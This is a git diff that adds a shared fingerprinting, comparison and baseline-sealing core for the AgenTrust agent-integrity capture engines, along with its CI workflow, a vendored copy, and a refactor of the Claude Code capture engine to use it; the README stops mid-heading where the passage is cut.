diff --git a/.github/workflows/capture-core-tests.yml b/.github/workflows/capture-core-tests.yml new file mode 100644 index 0000000..3f72d25 --- /dev/null +++ b/.github/workflows/capture-core-tests.yml @@ -0,0 +1,86 @@ +name: capture-core tests + +on: + pull_request: + paths: + - "packages/agentrust-capture-core/**" + - "scripts/sync_vendored_core.py" + - "**/_vendor/agentrust_capture_core/**" + - ".github/workflows/capture-core-tests.yml" + push: + branches: [main] + paths: + - "packages/agentrust-capture-core/**" + - "scripts/sync_vendored_core.py" + - "**/_vendor/agentrust_capture_core/**" + - ".github/workflows/capture-core-tests.yml" + +permissions: + contents: read + +jobs: + # The engines run from shell hooks at session start, before anything is + # installed, so the core must work on the standard library alone. 3.9 is the + # floor because the scheduled-agents matrix tests it. + core: + runs-on: ubuntu-latest + strategy: + matrix: + python-version: ["3.9", "3.11", "3.12", "3.13"] + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 + with: + python-version: ${{ matrix.python-version }} + - name: Run core tests + working-directory: packages/agentrust-capture-core + run: | + pip install pytest + python -m pytest tests -q + + # Each engine keeps a pinned copy of the core so a bare plugin install still + # gets drift detection. Copies are free to rot, which is the failure this whole + # package exists to end, so they are generated and checked rather than trusted. + vendored-in-sync: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 + with: + python-version: "3.12" + - name: Vendored copies must match the package + run: python scripts/sync_vendored_core.py --check + + # The fallback is the path most users are on, since it is what runs before any + # pip install. Exercising it explicitly stops it rotting behind the installed + # path, which nothing else would catch. + bare-install-fallback: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 + with: + python-version: "3.12" + - name: Engines must import with the core NOT installed + run: | + python - <<'PY' + import importlib.util, sys + assert importlib.util.find_spec("agentrust_capture_core") is None, ( + "the core is installed; this job must test the vendored fallback" + ) + for path in ( + "claude-code/engine/capture.py", + "plugins/agentrust-codex/engine/capture.py", + "scheduled-agents/engine/capture.py", + ): + spec = importlib.util.spec_from_file_location("cap_" + path.replace("/", "_"), path) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + print("ok:", path) + PY diff --git a/claude-code/engine/_vendor/agentrust_capture_core/VENDORED.md b/claude-code/engine/_vendor/agentrust_capture_core/VENDORED.md new file mode 100644 index 0000000..2c8b669 --- /dev/null +++ b/claude-code/engine/_vendor/agentrust_capture_core/VENDORED.md @@ -0,0 +1,7 @@ +# Generated by scripts/sync_vendored_core.py. Do not edit. +# +# Pinned copy of agentrust-capture-core, used when the package is not installed. +# The engines run from shell hooks before anything is installed, so this fallback +# is what makes drift detection work on a bare plugin install. Edit +# packages/agentrust-capture-core and re-run the sync script; CI fails if this +# copy and the package disagree. diff --git a/claude-code/engine/_vendor/agentrust_capture_core/__init__.py b/claude-code/engine/_vendor/agentrust_capture_core/__init__.py new file mode 100644 index 0000000..ef9c4e1 --- /dev/null +++ b/claude-code/engine/_vendor/agentrust_capture_core/__init__.py @@ -0,0 +1,97 @@ +"""Shared core for AgenTrust agent-integrity capture engines. + +Each engine answers one question about a different coding agent: is this the +composition I approved, with nothing added and nothing subtracted? What differs +between agents is where to look and what to call things. What must not differ is +how content is fingerprinted, how snapshots are compared, how a baseline is sealed, +and the rules that keep a report honest. + +Those lived in three copies before this package existed, and the cost was not +theoretical: the same skill-fingerprinting bypass had to be found and fixed twice, +independently, and a reporting defect once. This package is the single source of +truth for the parts that are genuinely identical. + +Standard library only, because the engines run from shell hooks at session start +and must work before anything is installed. +""" + +from __future__ import annotations + +from .compare import ( + Change, + diff_hash, + diff_maps, + diff_scalar, + diff_sets, + observed_categories, + scope_change, +) +from .hashing import ( + EXCLUDE_DIRS, + EXCLUDE_SUFFIXES, + now_iso, + safe_sha_file, + sha_bytes, + sha_file, + sha_mapping, + tree_digest, + uuid7, +) +from .report import ( + UNMEASURED, + change_lines, + clean_verdict, + measured_or, + seal_section, + unmeasured_footnote, +) +from .seal import ( + INTEGRITY_BROKEN, + INTEGRITY_OK, + INTEGRITY_UNSEALED, + SEAL_FIELD, + attach_seal, + check_seal, + state_digest, +) +from .state import StatePaths, atomic_write, load_state, save_baseline, save_state + +__version__ = "0.1.0" + +__all__ = [ + "Change", + "EXCLUDE_DIRS", + "EXCLUDE_SUFFIXES", + "INTEGRITY_BROKEN", + "INTEGRITY_OK", + "INTEGRITY_UNSEALED", + "SEAL_FIELD", + "StatePaths", + "UNMEASURED", + "__version__", + "atomic_write", + "attach_seal", + "change_lines", + "check_seal", + "clean_verdict", + "diff_hash", + "diff_maps", + "diff_scalar", + "diff_sets", + "load_state", + "measured_or", + "now_iso", + "observed_categories", + "safe_sha_file", + "save_baseline", + "save_state", + "scope_change", + "seal_section", + "sha_bytes", + "sha_file", + "sha_mapping", + "state_digest", + "tree_digest", + "unmeasured_footnote", + "uuid7", +] diff --git a/claude-code/engine/_vendor/agentrust_capture_core/compare.py b/claude-code/engine/_vendor/agentrust_capture_core/compare.py new file mode 100644 index 0000000..67ddebe --- /dev/null +++ b/claude-code/engine/_vendor/agentrust_capture_core/compare.py @@ -0,0 +1,119 @@ +"""Comparison primitives, plus the two gates that keep a comparison honest. + +Every engine's diff reduces to four shapes: a map of name to digest (components, +instruction files, policy files), a set of names (tools, MCP servers), a scalar +(model, permission mode), and a rollup hash. What differs between engines is which +categories exist and what they are called, so those stay with the engine and the +shapes live here. + +Two gates matter more than the shapes. + +**Observed gating.** A snapshot records which categories it actually measured. A +shell hook cannot enumerate a live tool roster, so comparing a hook snapshot +against a richer baseline would report the baseline's tools as removed. Only +categories that BOTH sides measured are compared. + +**Scope gating.** When an engine widens what a fingerprint covers, old fingerprints +become incomparable. Without handling, an upgrade reports every affected component +as changed. That is an alarm the user knows is false, which is worse than no alarm +because it teaches them to dismiss the next one. So a scope mismatch is reported +once, as a re-approval prompt, and the affected categories are dropped from the +comparison rather than compared wrongly. +""" + +from __future__ import annotations + +from collections.abc import Iterable, Mapping, Sequence + +__all__ = [ + "Change", + "diff_hash", + "diff_maps", + "diff_scalar", + "diff_sets", + "observed_categories", + "scope_change", +] + +#: A single finding. ``change`` is one of added, removed, changed. +Change = dict + + +def _change(change: str, what: str, detail: str) -> Change: + return {"change": change, "what": what, "detail": detail} + + +def diff_maps(base: Mapping[str, str], current: Mapping[str, str], what: str) -> list[Change]: + """Compare two name-to-digest maps. Names are reported, digests are not. + + A digest in a report tells the reader nothing they can act on; the name of the + component that moved does. + """ + out: list[Change] = [] + for name in sorted(set(current) - set(base)): + out.append(_change("added", what, name)) + for name in sorted(set(base) - set(current)): + out.append(_change("removed", what, name)) + for name in sorted(set(base) & set(current)): + if base[name] != current[name]: + out.append(_change("changed", what, name)) + return out + + +def diff_sets(base: Iterable[str], current: Iterable[str], what: str) -> list[Change]: + """Compare two name sets, for categories with no per-item digest.""" + before, after = set(base), set(current) + out: list[Change] = [] + for name in sorted(after - before): + out.append(_change("added", what, name)) + for name in sorted(before - after): + out.append(_change("removed", what, name)) + return out + + +def diff_scalar(before: object, after: object, what: str, *, unknown: str = "unknown") -> list[Change]: + """Compare a single value, reporting the transition rather than just the fact.""" + if before == after: + return [] + return [_change("changed", what, "%s -> %s" % (before or unknown, after or unknown))] + + +def diff_hash(before: str | None, after: str | None, what: str, detail: str) -> list[Change]: + """Compare a rollup hash, where only the fact of change is available.""" + if before == after: + return [] + return [_change("changed", what, detail)] + + +def observed_categories( + base: Mapping[str, object], + current: Mapping[str, object], + default: Sequence[str] = (), +) -> set[str]: + """Categories both snapshots measured, and therefore may be compared.""" + return set(base.get("observed", list(default))) & set(current.get("observed", list(default))) + + +def scope_change( + base: Mapping[str, object], + current_scope: int, + *, + affected: Sequence[str], + reason: str, +) -> Change | None: + """Report a widened measurement scope, or None when the scopes agree. + + ``affected`` names the categories the caller must drop from its comparison, + and is included in the message so the reader knows what was not checked rather + than assuming everything was. + """ + base_scope = base.get("scope", 1) + if base_scope == current_scope: + return None + dropped = ", ".join(affected) if affected else "none" + return _change( + "changed", + "measurement scope", + "widened from %s to %s; %s Not compared this run: %s. Re-approve once to " + "compare on the new scope." % (base_scope, current_scope, reason, dropped), + ) diff --git a/claude-code/engine/_vendor/agentrust_capture_core/hashing.py b/claude-code/engine/_vendor/agentrust_capture_core/hashing.py new file mode 100644 index 0000000..0b60284 --- /dev/null +++ b/claude-code/engine/_vendor/agentrust_capture_core/hashing.py @@ -0,0 +1,146 @@ +"""Content fingerprinting shared by every AgenTrust capture engine. + +Every engine answers the same question about a different agent: is this the +composition I approved, with nothing added and nothing subtracted? The parts that +differ between agents are *where to look* and *what to call things*. Hashing is +not one of them, so it lives here. + +Standard library only. The engines are invoked by shell hooks at session start and +must run before any dependency is installed. +""" + +from __future__ import annotations + +import hashlib +import os +import time +import uuid +from datetime import datetime, timezone +from pathlib import Path + +__all__ = [ + "EXCLUDE_DIRS", + "EXCLUDE_SUFFIXES", + "now_iso", + "sha_bytes", + "sha_file", + "sha_mapping", + "safe_sha_file", + "tree_digest", + "uuid7", +] + +#: Directory names skipped when fingerprinting a component tree. These hold state +#: a component writes as it runs, so hashing them would report drift on ordinary +#: use, and a tool that cries wolf on every run trains its user to ignore it. +#: +#: Controlled here rather than by a file inside the component on purpose. A +#: per-component ignore file would let the thing being measured decide what gets +#: measured, so a hostile component could ship a rule covering its own payload. +#: Adding a name here is a reviewed change to this package. +EXCLUDE_DIRS = frozenset({ + "state", ".cache", "__pycache__", ".git", ".pytest_cache", "node_modules", +}) + +#: File suffixes skipped for the same reason: run artifacts, not behaviour. +EXCLUDE_SUFFIXES = frozenset({".log", ".tmp", ".pyc", ".pyo"}) + + +def sha_bytes(payload: bytes) -> str: + return "sha256:" + hashlib.sha256(payload).hexdigest() + + +def sha_file(path: Path) -> str: + return sha_bytes(path.read_bytes()) + + +def safe_sha_file(path: Path) -> str | None: + """Digest a file, or None if it is missing or unreadable. + + Used on the discovery path, where a file vanishing between listing and + reading is ordinary rather than exceptional. + """ + try: + return sha_file(path) + except OSError: + return None + + +def sha_mapping(value: dict) -> str: + """Digest a mapping by canonical JSON, so key order cannot change the result.""" + import json + + return sha_bytes(json.dumps(value, sort_keys=True, separators=(",", ":")).encode()) + + +def tree_digest( + root: Path, + *, + exclude_dirs: frozenset[str] = EXCLUDE_DIRS, + exclude_suffixes: frozenset[str] = EXCLUDE_SUFFIXES, + pattern: str = "*", +) -> str | None: + """Digest every behavioural file under ``root``, or None if nothing was read. + + Covers the whole tree rather than a single manifest file. A component is not + just its manifest: these directories carry scripts, tools, templates and + reference material that decide what the component actually does. Digesting one + manifest let a payload be swapped into a sibling ``scripts/`` directory while + the report said nothing added, nothing subtracted. That was a live bypass in + two shipped engines before this function existed, which is the reason it is + shared rather than reimplemented. + + Relative paths are bound into the digest alongside contents, so a rename or a + move is drift. Traversal is sorted so the digest is stable across platforms. + Symlinks are skipped so a link out of the tree cannot pull unrelated content + into the fingerprint, and so a cycle cannot hang the hook. + """ + digest = hashlib.sha256() + try: + paths = sorted(root.rglob(pattern)) + except OSError: + return None + saw_file = False + for path in paths: + if path.is_symlink(): + continue + try: + if not path.is_file(): + continue + relative = path.relative_to(root) + except (OSError, ValueError): + continue + if exclude_dirs & set(relative.parts[:-1]): + continue + if path.suffix in exclude_suffixes: + continue + digest.update(relative.as_posix().encode("utf-8")) + try: + body = path.read_bytes() + except OSError: + # An unreadable file is itself worth recording: its path is already + # bound in, so the file appearing or vanishing still moves the digest + # instead of being silently skipped. + digest.update(b"\0\0") + saw_file = True + continue + digest.update(b"\0") + digest.update(body) + digest.update(b"\0") + saw_file = True + if not saw_file: + return None + return "sha256:" + digest.hexdigest() + + +def uuid7() -> str: + """RFC 9562 UUID v7 (time-ordered), required by agent-manifest.""" + ms = int(time.time() * 1000) + raw = bytearray(ms.to_bytes(6, "big") + os.urandom(10)) + raw[6] = 0x70 | (raw[6] & 0x0F) + raw[8] = 0x80 | (raw[8] & 0x3F) + return str(uuid.UUID(bytes=bytes(raw))) + + +def now_iso() -> str: + return datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z") diff --git a/claude-code/engine/_vendor/agentrust_capture_core/report.py b/claude-code/engine/_vendor/agentrust_capture_core/report.py new file mode 100644 index 0000000..e2629cc --- /dev/null +++ b/claude-code/engine/_vendor/agentrust_capture_core/report.py @@ -0,0 +1,101 @@ +"""Report vocabulary shared across engines. + +The engines render different reports on purpose: they name different things and a +Codex user should not read Claude Code labels. What must not differ is the honesty +rules, because those drifted once already and each engine had to be fixed +separately. + +Two rules live here. + +**An unmeasured category is not an empty one.** A shell hook cannot see a live tool +roster or the model, so those arrive only from a caller-supplied live context. +Rendering them as ``0 tools`` or ``model: unknown`` states a measurement that was +never taken, and a reader who cannot tell "we did not check" from "we checked and +found nothing" will treat an absence as a pass. + +**A partial check is not a clean bill of health.** "Nothing added, nothing +subtracted" is only true of what was compared, so it is qualified whenever coverage +is incomplete. +""" + +from __future__ import annotations + +from collections.abc import Sequence + +from .seal import INTEGRITY_BROKEN, INTEGRITY_OK, INTEGRITY_UNSEALED + +__all__ = [ + "UNMEASURED", + "clean_verdict", + "measured_or", + "seal_section", + "unmeasured_footnote", +] + +#: Shown wherever a category was not measured. +UNMEASURED = "not measured this run" + + +def measured_or(value: object, measured: bool, hint: str | None = None) -> str: + """Render ``value`` when it was measured, and say so plainly when it was not.""" + if measured: + return str(value) + return "%s (%s)" % (UNMEASURED, hint) if hint else UNMEASURED + + +def unmeasured_footnote(complete: bool) -> list[str]: + """The line that stops an absent measurement reading as a verified absence.""" + if complete: + return [] + return [ + ' Categories marked "%s" are NOT part of this comparison.' % UNMEASURED, + " They are unchecked, not verified as empty.", + "", + ] + + +def clean_verdict(complete: bool, phrasing: str = "nothing added, nothing subtracted") -> str: + """A no-changes verdict, qualified when coverage was partial.""" + scope = "" if complete else " in the categories checked" + return " >> Verified: %s%s." % (phrasing, scope) + + +def seal_section(integrity: str, digest: str | None = None) -> list[str]: + """The baseline-integrity block, stated before any drift result. + + Ordering is the point. If the baseline was altered, a reassuring "nothing + changed" underneath it is worse than no result at all, so a caller renders this + above its drift section. + """ + lines = [" IS THE BASELINE ITSELF INTACT?", " " + "-" * 62] + if integrity == INTEGRITY_BROKEN: + lines += [ + " !! the baseline FAILED its integrity check. It was modified outside", + " this tool, so the comparison below is unreliable. Re-approve only", + " once you are satisfied the current setup is what you intend.", + ] + elif integrity == INTEGRITY_UNSEALED: + lines.append(" ~ baseline carries no digest (written by an older version). " + "Re-approve to seal it.") + elif integrity == INTEGRITY_OK: + lines.append(" >> baseline digest verified.") + if digest: + lines.append(" digest: %s" % digest) + lines += [ + " A digest stored beside the content catches corruption and a", + " hand-edit, not an attacker who owns this directory and can", + " recompute it. Compare the digest above against the one you", + " recorded off-box: that is what catches a silent re-baseline.", + "", + ] + return lines + + +def change_lines(changes: Sequence[dict]) -> list[str]: + """Render findings with a stable symbol per kind.""" + symbol = {"added": "+", "removed": "-", "changed": "~"} + return [ + " %s %s %s: %s" % (symbol.get(c["change"], "?"), c["change"].upper(), + c["what"], c["detail"]) + for c in changes + ] diff --git a/claude-code/engine/_vendor/agentrust_capture_core/seal.py b/claude-code/engine/_vendor/agentrust_capture_core/seal.py new file mode 100644 index 0000000..7b0f641 --- /dev/null +++ b/claude-code/engine/_vendor/agentrust_capture_core/seal.py @@ -0,0 +1,80 @@ +"""Baseline sealing: is the thing we compare against still what we wrote? + +The baseline is what every drift comparison is made against. An unsealed baseline +means anyone able to write it can add a component to the *approved* set, after +which the check reports "nothing added, nothing subtracted" indefinitely and +quietly. The evidence would share a fate with the adversary, which is the failure +this project exists to argue against. + +A note on what this is, because the obvious design is worse than it looks. The +first version used an HMAC with a secret stored beside the baseline. A scanner +flagged the stored secret, and the flag was worth more than a suppression: the +only adversary an HMAC defeats here is one who can WRITE the state directory +without being able to READ it. On a developer machine that adversary is close to +fictional, since anything that can write your home directory can read it and would +simply retag. The secret bought almost no coverage while adding a credential to +leak and a claim inviting a reader to assume more protection than exists. + +So: a bare digest. Same real coverage, nothing to steal. It catches corruption, +truncation and a hand-edit that does not recompute it. Neither a digest nor an +HMAC catches an attacker who owns the directory. + +The control that does survive that attacker is off-box. `approve` prints the +digest, `verify` prints the digest of the baseline it read, and a human who +recorded the first sees a silent re-baseline. That is where the security lives, so +this module keeps the cheap local check and the engines point at the real one. +""" + +from __future__ import annotations + +from .hashing import now_iso, sha_mapping + +__all__ = [ + "INTEGRITY_BROKEN", + "INTEGRITY_OK", + "INTEGRITY_UNSEALED", + "SEAL_FIELD", + "attach_seal", + "check_seal", + "state_digest", +] + +#: Excluded from the digest it carries, since including it would be circular. +SEAL_FIELD = "integrity" + +INTEGRITY_OK = "ok" +INTEGRITY_UNSEALED = "unsealed" # no digest: written before sealing existed +INTEGRITY_BROKEN = "broken" # digest present and wrong: edited outside the tool + + +def state_digest(snapshot: dict) -> str: + """Digest of a snapshot's content, ignoring any seal it carries. + + Deterministic, so the value ``approve`` prints can be compared by eye against + the value ``verify`` prints later. + """ + return sha_mapping({k: v for k, v in snapshot.items() if k != SEAL_FIELD}) + + +def attach_seal(snapshot: dict) -> dict: + """Return a copy of ``snapshot`` sealed with a digest over its content.""" + return {**snapshot, SEAL_FIELD: { + "alg": "SHA-256", + "digest": state_digest(snapshot), + "sealed_at": now_iso(), + }} + + +def check_seal(snapshot: dict | None) -> str: + """Recompute the seal and compare. Never raises. + + Catches accidental corruption, truncation, and a hand-edit that does not + recompute the digest. Does not catch an attacker who owns the state directory, + who can recompute it as easily as this function can. + """ + if snapshot is None: + return INTEGRITY_UNSEALED + seal = snapshot.get(SEAL_FIELD) + if not isinstance(seal, dict) or not isinstance(seal.get("digest"), str): + return INTEGRITY_UNSEALED + return INTEGRITY_OK if seal["digest"] == state_digest(snapshot) else INTEGRITY_BROKEN diff --git a/claude-code/engine/_vendor/agentrust_capture_core/state.py b/claude-code/engine/_vendor/agentrust_capture_core/state.py new file mode 100644 index 0000000..c5e87c9 --- /dev/null +++ b/claude-code/engine/_vendor/agentrust_capture_core/state.py @@ -0,0 +1,76 @@ +"""Reading and writing engine state, and the paths it lives at. + +Baseline scoping differs by design and is not unified here. Claude Code keeps one +baseline per machine; Codex keeps one per workspace, because a workspace can carry +its own instructions and skills and a single baseline would blend them. Both are +correct for their agent, so an engine supplies its own paths and this module only +handles the reading and writing. +""" + +from __future__ import annotations + +import json +import os +import tempfile +from dataclasses import dataclass +from pathlib import Path + +from .seal import attach_seal + +__all__ = ["StatePaths", "atomic_write", "load_state", "save_state", "save_baseline"] + + +@dataclass(frozen=True) +class StatePaths: + """Where one engine keeps its approved baseline and its latest snapshot.""" + + baseline: Path + latest: Path + + +def atomic_write(path: Path, content: str) -> None: + """Write via a temporary file and replace, so a crash cannot truncate state. + + A half-written baseline is worse than a missing one: the engine would treat it + as corrupt on every future session, and a user who sees a broken check often + enough stops reading it. + """ + path.parent.mkdir(parents=True, exist_ok=True) + handle, tmp_name = tempfile.mkstemp(dir=str(path.parent), prefix=path.name, suffix=".tmp") + tmp = Path(tmp_name) + try: + with os.fdopen(handle, "w", encoding="utf-8") as fh: + fh.write(content) + fh.flush() + os.fsync(fh.fileno()) + os.replace(tmp, path) + except BaseException: + tmp.unlink(missing_ok=True) + raise + + +def save_state(path: Path, value: dict) -> None: + atomic_write(path, json.dumps(value, indent=2)) + + +def save_baseline(path: Path, snapshot: dict) -> dict: + """Seal a snapshot and write it as the approved baseline. Returns what was written.""" + sealed = attach_seal(snapshot) + save_state(path, sealed) + return sealed + + +def load_state(path: Path) -> dict | None: + """Load a state file, or None if it is absent, unreadable, or corrupt. + + A truncated baseline (crash mid-write, disk full, racing sessions) must not + brick the hook on every future session. Treating corrupt state as absent lets + the next run re-establish it instead of failing forever. + """ + if not path.is_file(): + return None + try: + data = json.loads(path.read_text(encoding="utf-8")) + except (json.JSONDecodeError, OSError): + return None + return data if isinstance(data, dict) else None diff --git a/claude-code/engine/capture.py b/claude-code/engine/capture.py index 791e739..3f5af3e 100644 --- a/claude-code/engine/capture.py +++ b/claude-code/engine/capture.py @@ -31,16 +31,24 @@ import argparse import base64 -import hashlib import json import os import stat import sys import time -import uuid from datetime import datetime, timedelta, timezone from pathlib import Path +# Prefer the installed package; fall back to the pinned vendored copy. The +# SessionStart hook runs before anything is installed, so the fallback is what +# makes drift detection work on a bare plugin install. The copy is generated by +# scripts/sync_vendored_core.py and CI fails if it disagrees with the package. +try: + import agentrust_capture_core as core +except ImportError: # pragma: no cover - exercised by the bare-install path + sys.path.insert(0, str(Path(__file__).resolve().parent / "_vendor")) + import agentrust_capture_core as core + #: Version of WHAT this engine measures, distinct from what it found. #: #: Bump it whenever a change makes a fingerprint incomparable to one written by @@ -64,100 +72,40 @@ # --------------------------------------------------------------------------- # # hashing (files only, never secrets) # --------------------------------------------------------------------------- # -def _sha_bytes(b: bytes) -> str: - return "sha256:" + hashlib.sha256(b).hexdigest() - - -def _sha_file(p: Path) -> str: - return _sha_bytes(p.read_bytes()) +_sha_bytes = core.sha_bytes +_sha_file = core.sha_file +_uuid7 = core.uuid7 +_now_iso = core.now_iso def _sha_tree(root: Path, pattern: str = "*.md") -> str: + """Rollup digest over an instruction tree. + + Kept local rather than replaced by core.tree_digest: this returns the digest of + the empty string for a missing tree, where the core returns None to distinguish + "no component here" from "a component with no files". Changing that would move + the system_prompt fingerprint for every existing baseline, so the rollup keeps + its own semantics and the core is used where a component is being measured. + """ if not root.exists(): return _sha_bytes(b"") - h = hashlib.sha256() - for f in sorted(root.rglob(pattern)): - if f.is_file(): - h.update(f.relative_to(root).as_posix().encode()) - h.update(b"\0") - h.update(f.read_bytes()) - h.update(b"\0") - return "sha256:" + h.hexdigest() - - -def _uuid7() -> str: - """RFC 9562 UUID v7 (time-ordered) -- required by agent-manifest.""" - ms = int(time.time() * 1000) - b = bytearray(ms.to_bytes(6, "big") + os.urandom(10)) - b[6] = 0x70 | (b[6] & 0x0F) - b[8] = 0x80 | (b[8] & 0x3F) - return str(uuid.UUID(bytes=bytes(b))) - - -def _now_iso() -> str: - return datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z") + return core.tree_digest(root, pattern=pattern, exclude_dirs=frozenset(), + exclude_suffixes=frozenset()) or _sha_bytes(b"") # --------------------------------------------------------------------------- # # snapshot: read the real box (stdlib only) # --------------------------------------------------------------------------- # -#: Directory names skipped when fingerprinting a skill. These hold state a skill -#: writes as it runs, so hashing them would report drift on ordinary use, and a -#: tool that cries wolf on every run trains its user to ignore it. -#: -#: The list is controlled here rather than by a file inside the skill on purpose. -#: A per-skill ignore file would let the thing being measured decide what gets -#: measured, so a hostile skill could ship an ignore rule covering its own -#: payload. Adding a name here is a reviewed change to this repo. -SKILL_EXCLUDE_DIRS = frozenset({ - "state", ".cache", "__pycache__", ".git", ".pytest_cache", "node_modules", -}) - -#: File suffixes skipped for the same reason: run artifacts, not behaviour. -SKILL_EXCLUDE_SUFFIXES = frozenset({".log", ".tmp", ".pyc", ".pyo"}) - - -def _skill_fingerprint(skill_dir: Path) -> str | None: - """Hash every behavioural file in one skill directory, or None if unreadable. - - Covers the whole tree rather than SKILL.md alone. A skill is not just its - manifest: these directories carry scripts, tools, templates and reference - docs that decide what the skill actually does. Hashing only SKILL.md meant a - payload could be swapped into scripts/ and the integrity check would report - nothing added and nothing subtracted, which is the exact scenario this - integration exists to catch. - - Relative paths are hashed alongside contents so a rename or a move is drift, - and traversal order is sorted so the digest is stable across platforms. - """ - h = hashlib.sha256() - try: - paths = sorted(p for p in skill_dir.rglob("*") if p.is_file()) - except OSError: - return None - for f in paths: - try: - rel = f.relative_to(skill_dir) - except ValueError: # pragma: no cover - rglob results are always relative - continue - if SKILL_EXCLUDE_DIRS & set(rel.parts[:-1]): - continue - if f.suffix in SKILL_EXCLUDE_SUFFIXES: - continue - try: - body = f.read_bytes() - except OSError: - # An unreadable file inside a skill is itself worth recording: bind - # its path into the digest so the file appearing or vanishing moves - # the fingerprint, instead of being silently skipped. - h.update(rel.as_posix().encode()) - h.update(b"\0\0") - continue - h.update(rel.as_posix().encode()) - h.update(b"\0") - h.update(body) - h.update(b"\0") - return "sha256:" + h.hexdigest() +#: Re-exported from the core, which owns the denylist so that a hostile skill +#: cannot exempt its own payload by shipping an ignore file. Kept as module-level +#: names because the hook, the report and the tests refer to them here. +SKILL_EXCLUDE_DIRS = core.EXCLUDE_DIRS +SKILL_EXCLUDE_SUFFIXES = core.EXCLUDE_SUFFIXES + +#: Digest every behavioural file in one skill directory, or None when the +#: directory yielded nothing readable. See core.tree_digest for why the whole tree +#: is covered rather than SKILL.md alone. +_skill_fingerprint = core.tree_digest def _skills() -> dict[str, str]: @@ -709,103 +657,36 @@ def render_report( # --------------------------------------------------------------------------- # # baseline integrity # --------------------------------------------------------------------------- # -# A note on what this is, because the obvious design is worse than it looks. -# -# The first version of this used an HMAC over the baseline with a 32-byte secret -# stored beside it. CodeQL flagged the stored secret, correctly, and the flag was -# worth more than a suppression: the only adversary an HMAC defeats here is one -# who can WRITE ~/.claude/agentrust without being able to READ it. On a developer -# machine that adversary is close to fictional, since anything that can write your -# home directory can read it and would simply retag. So the secret bought almost -# no coverage while adding a credential to leak, a file to manage, and a claim -# that invites a reader to assume more protection than exists. -# -# A bare digest gives the same real coverage with nothing to steal: it catches -# corruption, truncation and a hand-edit that does not recompute it. Neither a -# digest nor an HMAC catches an attacker who owns the directory. -# -# The control that does survive that attacker is off-box: `approve` prints the -# digest, `verify` prints the digest of the baseline it read, and a human who -# recorded the first sees a silent re-baseline. That is where the security lives, -# so the code keeps the cheap local check and points at the real one. - -#: Excluded from the digest it carries, since including it would be circular. -_INTEGRITY_FIELD = "integrity" - -#: Integrity verdicts for a loaded baseline. -INTEGRITY_OK = "ok" -INTEGRITY_UNSEALED = "unsealed" # no digest: written before sealing existed -INTEGRITY_BROKEN = "broken" # digest present and wrong: edited outside this tool +# Sealing and state now live in the core. See its seal module for why this is a +# bare digest rather than an HMAC, and what the digest does and does not defend +# against. The names below stay module-level because the hook, the report and the +# tests refer to them here. +_INTEGRITY_FIELD = core.SEAL_FIELD + +INTEGRITY_OK = core.INTEGRITY_OK +INTEGRITY_UNSEALED = core.INTEGRITY_UNSEALED +INTEGRITY_BROKEN = core.INTEGRITY_BROKEN #: Retained so an older caller keeps working; UNSEALED is the current name. INTEGRITY_UNTAGGED = INTEGRITY_UNSEALED - -def state_digest(snap: dict) -> str: - """Digest of a snapshot's content, ignoring any integrity block. - - Deterministic, so the value ``approve`` prints can be compared by eye against - the value ``verify`` prints later. That comparison is the only thing here that - survives an attacker who owns the state directory. - """ - body = {k: v for k, v in snap.items() if k != _INTEGRITY_FIELD} - return _sha_bytes(json.dumps(body, sort_keys=True, separators=(",", ":")).encode()) - - -def attach_integrity(snap: dict) -> dict: - """Return a copy of ``snap`` sealed with a digest over its content.""" - return {**snap, _INTEGRITY_FIELD: { - "alg": "SHA-256", - "digest": state_digest(snap), - "sealed_at": _now_iso(), - }} - - -def check_integrity(snap: dict | None) -> str: - """Recompute a baseline's digest and compare. Never raises. - - Catches accidental corruption, truncation, and a hand-edit that does not - recompute the digest. Does not catch an attacker who owns - ``~/.claude/agentrust``, who can recompute it as easily as this function can. - Off-box comparison of the printed digest is what covers that case. - """ - if snap is None: - return INTEGRITY_UNSEALED - block = snap.get(_INTEGRITY_FIELD) - if not isinstance(block, dict) or not isinstance(block.get("digest"), str): - return INTEGRITY_UNSEALED - return INTEGRITY_OK if block["digest"] == state_digest(snap) else INTEGRITY_BROKEN +state_digest = core.state_digest +attach_integrity = core.attach_seal +check_integrity = core.check_seal # --------------------------------------------------------------------------- # # state helpers # --------------------------------------------------------------------------- # -def _save(path: Path, obj: dict) -> None: - path.parent.mkdir(parents=True, exist_ok=True) - path.write_text(json.dumps(obj, indent=2), encoding="utf-8") +#: Atomic, so a crash mid-write cannot leave a truncated baseline that reads as +#: corrupt on every future session. The previous implementation wrote in place. +_save = core.save_state +_load = core.load_state def _save_baseline(snap: dict) -> dict: - """Write the approved baseline with an integrity tag. Returns what was written.""" - tagged = attach_integrity(snap) - _save(BASELINE, tagged) - return tagged - - -def _load(path: Path) -> dict | None: - """Load a state file, or None if it is absent, unreadable, or corrupt. - - A truncated baseline.json (crash mid-write, disk full, racing sessions) must - not brick the hook on every future session. Treating corrupt state as absent - lets the next run re-establish it instead of crashing forever. - """ - if not path.is_file(): - return None - try: - data = json.loads(path.read_text(encoding="utf-8")) - except (json.JSONDecodeError, OSError): - return None - return data if isinstance(data, dict) else None + """Seal and write the approved baseline. Returns what was written.""" + return core.save_baseline(BASELINE, snap) def _live_from(args) -> dict | None: diff --git a/packages/agentrust-capture-core/README.md b/packages/agentrust-capture-core/README.md new file mode 100644 index 0000000..b50ad5e --- /dev/null +++ b/packages/agentrust-capture-core/README.md @@ -0,0 +1,81 @@ +# agentrust-capture-core + +Shared fingerprinting, comparison and baseline-sealing core for AgenTrust +agent-integrity capture engines. + +Each engine answers one question about a different coding agent: + +> Is this the agent composition I approved, with nothing added and nothing +> subtracted? + +What differs between agents is **where to look** and **what to call things**. What +must not differ is how content is fingerprinted, how snapshots are compared, how a +baseline is sealed, and the rules that keep a report honest. This package owns the +second list. + +## 